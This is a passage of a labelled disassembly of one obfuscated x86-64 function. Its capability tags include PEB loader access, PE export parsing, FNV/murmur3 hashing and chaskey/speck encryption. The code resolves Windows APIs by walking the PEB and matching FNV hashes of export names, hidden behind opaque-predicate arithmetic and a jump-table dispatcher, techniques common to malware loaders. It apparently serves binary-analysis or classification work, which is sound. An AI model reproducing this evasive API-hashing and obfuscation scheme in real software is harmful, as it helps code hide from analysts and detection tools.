Function at 0x14044401e
Capabilities:
Access peb ldr_data
Authenticate hmac
Encrypt data using chaskey
Encrypt data using speck
Get process filename
Hash data using fnv
Hash data using murmur3
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x1a337e90
pushf
not eax
add eax, 0xfe50a268
xor eax, 0xaf6bb9e6
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xe2a4fbf2
xor eax, 0xd1acd787
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xd875f578
xor eax, 0xdcf85b12
rol eax, 0x1d
popf
cmp eax, 0x63
jne 0x14044406e
popf
pop rax
jmp 0x140447ea6
cmp eax, 0x48
jne 0x14044407d
popf
pop rax
jmp 0x1404470cf
cmp eax, 0x3f
jne 0x14044408c
popf
pop rax
jmp 0x140446abd
cmp eax, 1
jne 0x14044409b
popf
pop rax
jmp 0x1404448ee
cmp eax, 0x4a
jne 0x1404440aa
popf
pop rax
jmp 0x140447210
cmp eax, 0x78
jne 0x1404440b9
popf
pop rax
jmp 0x140448aa0
cmp eax, 0x80
jne 0x1404440c8
popf
pop rax
jmp 0x140448f29
cmp eax, 0x6e
jne 0x1404440d7
popf
pop rax
jmp 0x1404484ea
cmp eax, 0x40
jne 0x1404440e6
popf
pop rax
jmp 0x140446b25
cmp eax, 0x7d
jne 0x1404440f5
popf
pop rax
jmp 0x140448d60
cmp eax, 0x2a
jne 0x140444104
popf
pop rax
jmp 0x140445f66
cmp eax, 0x71
jne 0x140444113
popf
pop rax
jmp 0x140448679
cmp eax, 0x1c
jne 0x140444122
popf
pop rax
jmp 0x140445770
cmp eax, 0x2e
jne 0x140444131
popf
pop rax
jmp 0x14044615f
cmp eax, 0x4c
jne 0x140444140
popf
pop rax
jmp 0x1404472eb
cmp eax, 0x2b
jne 0x14044414f
popf
pop rax
jmp 0x140445fe8
cmp eax, 0x1b
jne 0x14044415e
popf
pop rax
jmp 0x1404456c8
cmp eax, 0x6a
jne 0x14044416d
popf
pop rax
jmp 0x14044823d
cmp eax, 0x23
jne 0x14044417c
popf
pop rax
jmp 0x140445b81
cmp eax, 0x5b
jne 0x14044418b
popf
pop rax
jmp 0x140447a5a
cmp eax, 0x43
jne 0x14044419a
popf
pop rax
jmp 0x140446cd2
cmp eax, 0x13
jne 0x1404441a9
popf
pop rax
jmp 0x140445271
cmp eax, 0x33
jne 0x1404441b8
popf
pop rax
jmp 0x1404463d7
cmp eax, 0x24
jne 0x1404441c7
popf
pop rax
jmp 0x140445bb6
cmp eax, 0x1e
jne 0x1404441d6
popf
pop rax
jmp 0x14044583c
cmp eax, 0xc
jne 0x1404441e5
popf
pop rax
jmp 0x140444eda
cmp eax, 0x26
jne 0x1404441f4
popf
pop rax
jmp 0x140445d02
cmp eax, 0x27
jne 0x140444203
popf
pop rax
jmp 0x140445d93
cmp eax, 0x30
jne 0x140444212
popf
pop rax
jmp 0x14044625f
cmp eax, 0x10
jne 0x140444221
popf
pop rax
jmp 0x1404450ba
cmp eax, 0x37
jne 0x140444230
popf
pop rax
jmp 0x140446669
cmp eax, 9
jne 0x14044423f
popf
pop rax
jmp 0x140444d2d
cmp eax, 0x39
jne 0x14044424e
popf
pop rax
jmp 0x140446769
cmp eax, 0x16
jne 0x14044425d
popf
pop rax
jmp 0x14044541e
cmp eax, 0x7e
jne 0x14044426c
popf
pop rax
jmp 0x140448db5
cmp eax, 0x4b
jne 0x14044427b
popf
pop rax
jmp 0x140447293
cmp eax, 0x36
jne 0x14044428a
popf
pop rax
jmp 0x14044655d
cmp eax, 0x14
jne 0x140444299
popf
pop rax
jmp 0x1404452d2
cmp eax, 0x72
jne 0x1404442a8
popf
pop rax
jmp 0x140448728
cmp eax, 0x7f
jne 0x1404442b7
popf
pop rax
jmp 0x140448ef4
cmp eax, 0x69
jne 0x1404442c6
popf
pop rax
jmp 0x1404481fb
cmp eax, 0x83
jne 0x1404442d5
popf
pop rax
jmp 0x1404490f3
cmp eax, 0x51
jne 0x1404442e4
popf
pop rax
jmp 0x140447514
cmp eax, 0x11
jne 0x1404442f3
popf
pop rax
jmp 0x14044514b
cmp eax, 0x35
jne 0x140444302
popf
pop rax
jmp 0x14044651b
cmp eax, 0x68
jne 0x140444311
popf
pop rax
jmp 0x140448166
cmp eax, 0x7a
jne 0x140444320
popf
pop rax
jmp 0x140448b59
cmp eax, 0x6b
jne 0x14044432f
popf
pop rax
jmp 0x140448356
cmp eax, 0x38
jne 0x14044433e
popf
pop rax
jmp 0x1404466b2
cmp eax, 0x64
jne 0x14044434d
popf
pop rax
jmp 0x140447f28
cmp eax, 0x5c
jne 0x14044435c
popf
pop rax
jmp 0x140447b20
cmp eax, 0x15
jne 0x14044436b
popf
pop rax
jmp 0x140445382
cmp eax, 5
jne 0x14044437a
popf
pop rax
jmp 0x140444b54
cmp eax, 6
jne 0x140444389
popf
pop rax
jmp 0x140444b9c
cmp eax, 0x85
jne 0x140444398
popf
pop rax
jmp 0x1404491f8
cmp eax, 0x49
jne 0x1404443a7
popf
pop rax
jmp 0x140447177
cmp eax, 0x1f
jne 0x1404443b6
popf
pop rax
jmp 0x140445927
cmp eax, 4
jne 0x1404443c5
popf
pop rax
jmp 0x140444a4e
cmp eax, 0x77
jne 0x1404443d4
popf
pop rax
jmp 0x140448a0b
cmp eax, 0x4d
jne 0x1404443e3
popf
pop rax
jmp 0x14044734b
cmp eax, 0x55
jne 0x1404443f2
popf
pop rax
jmp 0x140447746
cmp eax, 0x45
jne 0x140444401
popf
pop rax
jmp 0x140446e0b
cmp eax, 0x2c
jne 0x140444410
popf
pop rax
jmp 0x14044602a
cmp eax, 0x5f
jne 0x14044441f
popf
pop rax
jmp 0x140447cbe
cmp eax, 0x19
jne 0x14044442e
popf
pop rax
jmp 0x1404455dc
cmp eax, 0x1d
jne 0x14044443d
popf
pop rax
jmp 0x140445801
cmp eax, 0x86
jne 0x14044444c
popf
pop rax
jmp 0x140449257
cmp eax, 0x53
jne 0x14044445b
popf
pop rax
jmp 0x1404475eb
cmp eax, 0x4f
jne 0x14044446a
popf
pop rax
jmp 0x140447415
cmp eax, 0x6c
jne 0x140444479
popf
pop rax
jmp 0x1404483b1
cmp eax, 7
jne 0x140444488
popf
pop rax
jmp 0x140444c53
cmp eax, 0x20
jne 0x140444497
popf
pop rax
jmp 0x1404459c3
cmp eax, 0x84
jne 0x1404444a6
popf
pop rax
jmp 0x14044912e
cmp eax, 0x7c
jne 0x1404444b5
popf
pop rax
jmp 0x140448ccb
cmp eax, 0xd
jne 0x1404444c4
popf
pop rax
jmp 0x140444f5c
cmp eax, 0xa
jne 0x1404444d3
popf
pop rax
jmp 0x140444d7b
cmp eax, 0x18
jne 0x1404444e2
popf
pop rax
jmp 0x1404454f5
cmp eax, 0x28
jne 0x1404444f1
popf
pop rax
jmp 0x140445df4
cmp eax, 0x22
jne 0x140444500
popf
pop rax
jmp 0x140445a9a
cmp eax, 0x50
jne 0x14044450f
popf
pop rax
jmp 0x14044748b
cmp eax, 0x52
jne 0x14044451e
popf
pop rax
jmp 0x1404475a9
cmp eax, 0x41
jne 0x14044452d
popf
pop rax
jmp 0x140446be5
cmp eax, 0x67
jne 0x14044453c
popf
pop rax
jmp 0x1404480b7
cmp eax, 0x70
jne 0x14044454b
popf
pop rax
jmp 0x1404485c9
cmp eax, 0x29
jne 0x14044455a
popf
pop rax
jmp 0x140445eb7
cmp eax, 0x3e
jne 0x140444569
popf
pop rax
jmp 0x140446a28
cmp eax, 0
jne 0x140444578
popf
pop rax
jmp 0x140444848
cmp eax, 0x4e
jne 0x140444587
popf
pop rax
jmp 0x1404473af
cmp eax, 0x31
jne 0x140444596
popf
pop rax
jmp 0x1404462f0
cmp eax, 0x62
jne 0x1404445a5
popf
pop rax
jmp 0x140447e15
cmp eax, 0x82
jne 0x1404445b4
popf
pop rax
jmp 0x14044904f
cmp eax, 0x25
jne 0x1404445c3
popf
pop rax
jmp 0x140445c80
cmp eax, 0xf
jne 0x1404445d2
popf
pop rax
jmp 0x140445072
cmp eax, 0x7b
jne 0x1404445e1
popf
pop rax
jmp 0x140448c09
cmp eax, 0x75
jne 0x1404445f0
popf
pop rax
jmp 0x14044890c
cmp eax, 3
jne 0x1404445ff
popf
pop rax
jmp 0x1404449f9
cmp eax, 0x6f
jne 0x14044460e
popf
pop rax
jmp 0x140448568
cmp eax, 0x34
jne 0x14044461d
popf
pop rax
jmp 0x140446486
cmp eax, 0x54
jne 0x14044462c
popf
pop rax
jmp 0x1404476ea
cmp eax, 0x76
jne 0x14044463b
popf
pop rax
jmp 0x140448941
cmp eax, 0xb
jne 0x14044464a
popf
pop rax
jmp 0x140444e2b
cmp eax, 0x66
jne 0x140444659
popf
pop rax
jmp 0x14044801a
cmp eax, 0x81
jne 0x140444668
popf
pop rax
jmp 0x140448fa7
cmp eax, 0xe
jne 0x140444677
popf
pop rax
jmp 0x140444fb1
cmp eax, 0x3a
jne 0x140444686
popf
pop rax
jmp 0x1404467fe
cmp eax, 2
jne 0x140444695
popf
pop rax
jmp 0x14044498a
cmp eax, 0x65
jne 0x1404446a4
popf
pop rax
jmp 0x140447fcc
cmp eax, 0x21
jne 0x1404446b3
popf
pop rax
jmp 0x140445a45
cmp eax, 0x79
jne 0x1404446c2
popf
pop rax
jmp 0x140448b1e
cmp eax, 0x17
jne 0x1404446d1
popf
pop rax
jmp 0x1404454a0
cmp eax, 0x58
jne 0x1404446e0
popf
pop rax
jmp 0x1404478c4
cmp eax, 0x46
jne 0x1404446ef
popf
pop rax
jmp 0x140446e59
cmp eax, 0x32
jne 0x1404446fe
popf
pop rax
jmp 0x14044632b
cmp eax, 0x6d
jne 0x14044470d
popf
pop rax
jmp 0x140448455
cmp eax, 0x60
jne 0x14044471c
popf
pop rax
jmp 0x140447d13
cmp eax, 0x42
jne 0x14044472b
popf
pop rax
jmp 0x140446c1b
cmp eax, 8
jne 0x14044473a
popf
pop rax
jmp 0x140444cc2
cmp eax, 0x57
jne 0x140444749
popf
pop rax
jmp 0x140447859
cmp eax, 0x59
jne 0x140444758
popf
pop rax
jmp 0x140447925
cmp eax, 0x2f
jne 0x140444767
popf
pop rax
jmp 0x1404461f0
cmp eax, 0x1a
jne 0x140444776
popf
pop rax
jmp 0x140445624
cmp eax, 0x73
jne 0x140444785
popf
pop rax
jmp 0x1404487bd
cmp eax, 0x12
jne 0x140444794
popf
pop rax
jmp 0x1404451e0
cmp eax, 0x44
jne 0x1404447a3
popf
pop rax
jmp 0x140446d54
cmp eax, 0x3c
jne 0x1404447b2
popf
pop rax
jmp 0x1404468ca
cmp eax, 0x74
jne 0x1404447c1
popf
pop rax
jmp 0x140448825
cmp eax, 0x3b
jne 0x1404447d0
popf
pop rax
jmp 0x140446869
cmp eax, 0x3d
jne 0x1404447df
popf
pop rax
jmp 0x140446979
cmp eax, 0x5d
jne 0x1404447ee
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb0
mov rax, qword [0x1403f1ec0]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov r13, r8
mov r12, rdx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x70], rcx
xor r15d, r15d
mov dword [rsp + 0x50], r15d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xefac8317
pushf
not eax
add eax, 0xc4c031bd
xor eax, 0x9bde883c
rol eax, 0x27
popf
pushf
not eax
add eax, 0xb5573a9e
xor eax, 0xc0597a23
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xc8eec65f
xor eax, 0xf430196a
rol eax, 0x99
popf
jmp 0x14044405f
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x140444944
push rax
pushf
mov eax, 0x9ed32de5
pushf
not eax
add eax, 0x95ba97bc
xor eax, 0xc06d7ba6
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xdfe79d1e
xor eax, 0xc4aa93e5
rol eax, 0xe
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xd42c6ac6
pushf
not eax
add eax, 0xaef1c7d5
xor eax, 0xde86c657
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xf7d6ea04
xor eax, 0xd3d41666
rol eax, 0
popf
pushf
not eax
add eax, 0x89ae09dd
xor eax, 0x8193a8de
rol eax, 0x49
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1404449c6
push rax
pushf
mov eax, 0xf0f87132
pushf
not eax
add eax, 0xa2074991
xor eax, 0xaa66a47e
rol eax, 4
popf
pushf
not eax
add eax, 0x8ee251d2
xor eax, 0xd8428fd0
rol eax, 0xad
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x5f63c040
pushf
not eax
add eax, 0xdf58fb7d
xor eax, 0x96d5cf15
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xf9078670
xor eax, 0xac354487
rol eax, 0x48
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xb9ff826c
pushf
not eax
add eax, 0xd23cd6fe
xor eax, 0xeef2a1c4
rol eax, 5
popf
pushf
not eax
add eax, 0xd13a7d5d
xor eax, 0xcb3a0474
rol eax, 0x59
popf
pushf
not eax
add eax, 0x937925e1
xor eax, 0xbf112233
rol eax, 0xce
popf
jmp 0x14044405f
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0x1040900c
pushf
not r8d
add r8d, 0xa8f48e3f
xor r8d, 0xc341f0b7
rol r8d, 0x7a
popf
pushf
not r8d
add r8d, 0xa1062bfa
xor r8d, 0xfea95a48
rol r8d, 0xf8
popf
pushf
not r8d
add r8d, 0xfd1ee751
xor r8d, 0x92499803
rol r8d, 0x29
popf
pushf
not r8d
add r8d, 0xe05267c2
xor r8d, 0x81a4cb19
rol r8d, 0xc2
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140444b21
push rax
pushf
mov eax, 0x557b0136
pushf
not eax
add eax, 0x8ddb9940
xor eax, 0xce1efec8
rol eax, 0x93
popf
pushf
not eax
add eax, 0xbabcafb3
xor eax, 0xf7c8f90f
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x913ff421
xor eax, 0xca09b3f4
rol eax, 0xe2
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xdf690dce
pushf
not eax
add eax, 0x9584c4ab
xor eax, 0x8ffe1627
rol eax, 0xe4
popf
pushf
not eax
add eax, 0x99653048
xor eax, 0xff0b2094
rol eax, 0x29
popf
jmp 0x14044405f
nop
push rax
pushf
mov eax, 0x1a3a8b49
pushf
not eax
add eax, 0xbd98b345
xor eax, 0xf124f063
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xac912341
xor eax, 0xa0a50806
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xc773d675
xor eax, 0xc687cae1
rol eax, 0x8b
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140444bfa
push rax
pushf
mov eax, 0x66a8a8e9
pushf
not eax
add eax, 0xc1f41ea4
xor eax, 0xa27062e5
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xc01d72d6
xor eax, 0xfedc4ccd
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x86303f0d
xor eax, 0xbc9ad36f
rol eax, 0x1b
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xb3de834a
pushf
not eax
add eax, 0x849bb987
xor eax, 0xf72cc2da
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xaaf4e4e5
xor eax, 0xae5ae439
rol eax, 0x76
popf
pushf
not eax
add eax, 0xac3d1362
xor eax, 0x96e970dc
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x8dfb5987
xor eax, 0xab99dbca
rol eax, 0x8a
popf
jmp 0x14044405f
cmp r8d, 0x94122f5b
je 0x140444c8f
push rax
pushf
mov eax, 0xbb5f43a3
pushf
not eax
add eax, 0x803d3a10
xor eax, 0xfcb610a0
rol eax, 0x89
popf
pushf
not eax
add eax, 0xa14a431e
xor eax, 0xc97c8aad
rol eax, 0x76
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xdf90fff5
pushf
not eax
add eax, 0xe712b50d
xor eax, 0xc7af3190
rol eax, 0x9f
popf
pushf
not eax
add eax, 0x9060bbbc
xor eax, 0xa4497978
rol eax, 0x67
popf
jmp 0x14044405f
test r9d, r9d
jne 0x140444cfa
push rax
pushf
mov eax, 0x18b220ab
pushf
not eax
add eax, 0xa42b1167
xor eax, 0xeaeb05ff
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xace78dd2
xor eax, 0xb2457908
rol eax, 0x56
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x6f55d050
pushf
not eax
add eax, 0xf1797fa8
xor eax, 0xf7b9cfdd
rol eax, 0xf
popf
pushf
not eax
add eax, 0xe38618dd
xor eax, 0xb340de4f
rol eax, 0xfc
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x1404448ee
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
xor ecx, ecx
jmp 0x140444db6
call rdx
mov r14, rax
mov qword [rsp + 0x68], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
push rax
pushf
mov eax, 0x91b17c8f
pushf
not eax
add eax, 0xe5025918
xor eax, 0xd090907e
rol eax, 0x89
popf
pushf
not eax
add eax, 0xdb761212
xor eax, 0x8e71ccda
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xc12695e7
xor eax, 0xff988dc1
rol eax, 0x44
popf
pushf
not eax
add eax, 0xa6319bcc
xor eax, 0xc2297641
rol eax, 0x79
popf
jmp 0x14044405f
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x140444e81
push rax
pushf
mov eax, 0x793928ea
pushf
not eax
add eax, 0xedd4924d
xor eax, 0xd2d7700d
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xacd4909f
xor eax, 0x86c7decb
rol eax, 0xf9
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xee115b5
pushf
not eax
add eax, 0x93e1d170
xor eax, 0x8c605f80
rol eax, 0x93
popf
pushf
not eax
add eax, 0x9cd98e1a
xor eax, 0xa22d6bb8
rol eax, 0x85
popf
pushf
not eax
add eax, 0xabe01386
xor eax, 0x98ee328e
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xc7d5f1bc
xor eax, 0xb8a3613d
rol eax, 0xa6
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140444f29
push rax
pushf
mov eax, 0x4b98e7d4
pushf
not eax
add eax, 0xeebb3c6d
xor eax, 0x9ab4ff9f
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xccdb1137
xor eax, 0xddf57a04
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xb6ec7b2b
xor eax, 0xec627fb9
rol eax, 0x6e
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xd82f41a1
pushf
not eax
add eax, 0x9926e556
xor eax, 0xd7383fe8
rol eax, 0x76
popf
pushf
not eax
add eax, 0xc920dad0
xor eax, 0x941ae6e8
rol eax, 0xa7
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x5bb411f7
pushf
not eax
add eax, 0xdc2d256a
xor eax, 0xbff21338
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xd54e0aed
xor eax, 0xa2261176
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xcc64ea3e
xor eax, 0xf24d4b18
rol eax, 0x56
popf
jmp 0x14044405f
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0x44391c53
pushf
not r8d
add r8d, 0xc85e48a0
xor r8d, 0xb8d2522a
rol r8d, 0xd0
popf
pushf
not r8d
add r8d, 0x8fd2eb78
xor r8d, 0xddd12e39
rol r8d, 0x5f
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14044503f
push rax
pushf
mov eax, 0x145780b7
pushf
not eax
add eax, 0xf2cad409
xor eax, 0xcb734c99
rol eax, 0x60
popf
pushf
not eax
add eax, 0xeb6fa835
xor eax, 0xd1ef886c
rol eax, 0xa9
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xc58aa2cf
pushf
not eax
add eax, 0xd462ed51
xor eax, 0x948b5541
rol eax, 7
popf
pushf
not eax
add eax, 0xb3102524
xor eax, 0x898060d6
rol eax, 0xb7
popf
jmp 0x14044405f
nop
push rax
pushf
mov eax, 0x32d4d3d2
pushf
not eax
add eax, 0xce507937
xor eax, 0xbdd45a27
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xa736df12
xor eax, 0xe3f7196a
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xdb1cf093
xor eax, 0xa8ffe3d5
rol eax, 0x84
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140445118
push rax
pushf
mov eax, 0x111185ef
pushf
not eax
add eax, 0xcf9b99ca
xor eax, 0xc4b6bcf6
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xa45ea662
xor eax, 0xd2de3ddf
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x993293fe
xor eax, 0xdff18634
rol eax, 0xc7
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x981a105d
pushf
not eax
add eax, 0xf30518e2
xor eax, 0xe9c8c6b3
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xee4adc1d
xor eax, 0xf7c66256
rol eax, 0xef
popf
jmp 0x14044405f
cmp r8d, 0x11e1592f
je 0x1404451ad
push rax
pushf
mov eax, 0x551e0064
pushf
not eax
add eax, 0xa036ed13
xor eax, 0xf11b3284
rol eax, 0x27
popf
pushf
not eax
add eax, 0xcfb5a68e
xor eax, 0xe0c799c0
rol eax, 0x19
popf
pushf
not eax
add eax, 0x8cc83cbe
xor eax, 0xee284ab6
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xf3cf9949
xor eax, 0xff4b0c6a
rol eax, 0x83
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x2608a005
pushf
not eax
add eax, 0xae149a6b
xor eax, 0xae768e0b
rol eax, 3
popf
pushf
not eax
add eax, 0xe85b73c8
xor eax, 0xb46fc456
rol eax, 0x18
popf
jmp 0x14044405f
test r9d, r9d
jne 0x140445218
push rax
pushf
mov eax, 0xfe784510
pushf
not eax
add eax, 0xdb571d28
xor eax, 0xadee498d
rol eax, 0xca
popf
pushf
not eax
add eax, 0xac49350c
xor eax, 0xea02cbdf
rol eax, 0x3d
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x9d1cd648
pushf
not eax
add eax, 0xae92542e
xor eax, 0xfcc57ef0
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xd54f84a2
xor eax, 0xd9f1c60f
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xd2b06f88
xor eax, 0xe89c8483
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xc8595133
xor eax, 0x95b24c5b
rol eax, 0xc5
popf
jmp 0x14044405f
mov rax, qword [rax]
jmp 0x140444e2b
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov rcx, r14
jmp 0x14044530e
call rdx
mov rbp, rax
mov qword [rsp + 0x60], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
push rax
pushf
mov eax, 0xe6b7e1a6
pushf
not eax
add eax, 0x89647707
xor eax, 0xc1036c98
rol eax, 0x44
popf
pushf
not eax
add eax, 0xd555e662
xor eax, 0xa5f015b3
rol eax, 0x26
popf
pushf
not eax
add eax, 0xd5b2b523
xor eax, 0xbcd0922f
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xaf5451ef
xor eax, 0xd3ca3845
rol eax, 0xe6
popf
jmp 0x14044405f
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x1404453eb
push rax
pushf
mov eax, 0xa04e5b9d
pushf
not eax
add eax, 0xdcb45304
xor eax, 0xaaea6824
rol eax, 0x11
popf
pushf
not eax
add eax, 0xcd38a7e7
xor eax, 0xfa4bda0c
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xa327d134
xor eax, 0x840e6294
rol eax, 0xe9
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x18dbebc0
pushf
not eax
add eax, 0x9367454c
xor eax, 0x8cf9dd2f
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xf6f4b3f4
xor eax, 0x8f411fc9
rol eax, 0x22
popf
jmp 0x14044405f
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14044546d
push rax
pushf
mov eax, 0x516687ec
pushf
not eax
add eax, 0xcd273262
xor eax, 0xca32c05b
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xb57b40c1
xor eax, 0xd9ae6124
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xf9810f38
xor eax, 0x85585a41
rol eax, 0x54
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x849bc5f3
pushf
not eax
add eax, 0xbe69eae0
xor eax, 0xa971c47d
rol eax, 0x82
popf
pushf
not eax
add eax, 0xf1e33784
xor eax, 0xad43b53d
rol eax, 0x8b
popf
jmp 0x14044405f
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xfcddb4b1
pushf
not eax
add eax, 0xa16bd80d
xor eax, 0xbce2a820
rol eax, 0x79
popf
pushf
not eax
add eax, 0xe268de23
xor eax, 0xd8928e87
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xb2af08f2
xor eax, 0x9045b3da
rol eax, 9
popf
jmp 0x14044405f
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
mov r8d, 0xe58c1400
pushf
not r8d
add r8d, 0xeca69cf4
xor r8d, 0xdd0895b2
rol r8d, 0x43
popf
pushf
not r8d
add r8d, 0xa36f70a7
xor r8d, 0xb2480813
rol r8d, 0x7f
popf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1404455a9
push rax
pushf
mov eax, 0x185658f3
pushf
not eax
add eax, 0x965d93f5
xor eax, 0xa4dc6d10
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xac16b309
xor eax, 0xfa4b7dd5
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x97b25c9b
xor eax, 0xf380b015
rol eax, 0x13
popf
pushf
not eax
add eax, 0xef2848cb
xor eax, 0xb55d484c
rol eax, 0xa0
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0x81a7318f
pushf
not eax
add eax, 0xe6d2ac49
xor eax, 0xc83439eb
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x9191dda3
xor eax, 0xfbedf539
rol eax, 0x24
popf
jmp 0x14044405f
nop
push rax
pushf
mov eax, 0x8e133ff4
pushf
not eax
add eax, 0xa9403280
xor eax, 0x9c10f047
rol eax, 0x79
popf
pushf
not eax
add eax, 0x9dd85fee
xor eax, 0xc5c48f49
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x8220edf9
xor eax, 0xfb06b856
rol eax, 0x70
popf
jmp 0x14044405f
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140445682
push rax
pushf
mov eax, 0xf7cb5e76
pushf
not eax
add eax, 0xb4b6d516
xor eax, 0x8293cdb0
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xf0426c86
xor eax, 0xb90c7de5
rol eax, 0x52
popf
pushf
not eax
add eax, 0xa9c342b8
xor eax, 0xc475bb6f
rol eax, 0x60
popf
jmp 0x14044405f
push rax
pushf
mov eax, 0xc0ad7642
pushf
not eax
add eax, 0x83c13eaf
xor eax, 0xf27285fe
rol eax, 0x69
popf
pushf
not eax
add eax, 0x9d85ca04
xor eax, 0x98a7522b
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x8b958b43
xor eax, 0x99831b87
rol eax, 0x84
popf
jmp 0x14044405f
cmp r8d, 0x6b3af8f0
je 0x140445717
push rax
pushf
mov eax, 0xee0e3aa4
pushf
not eax
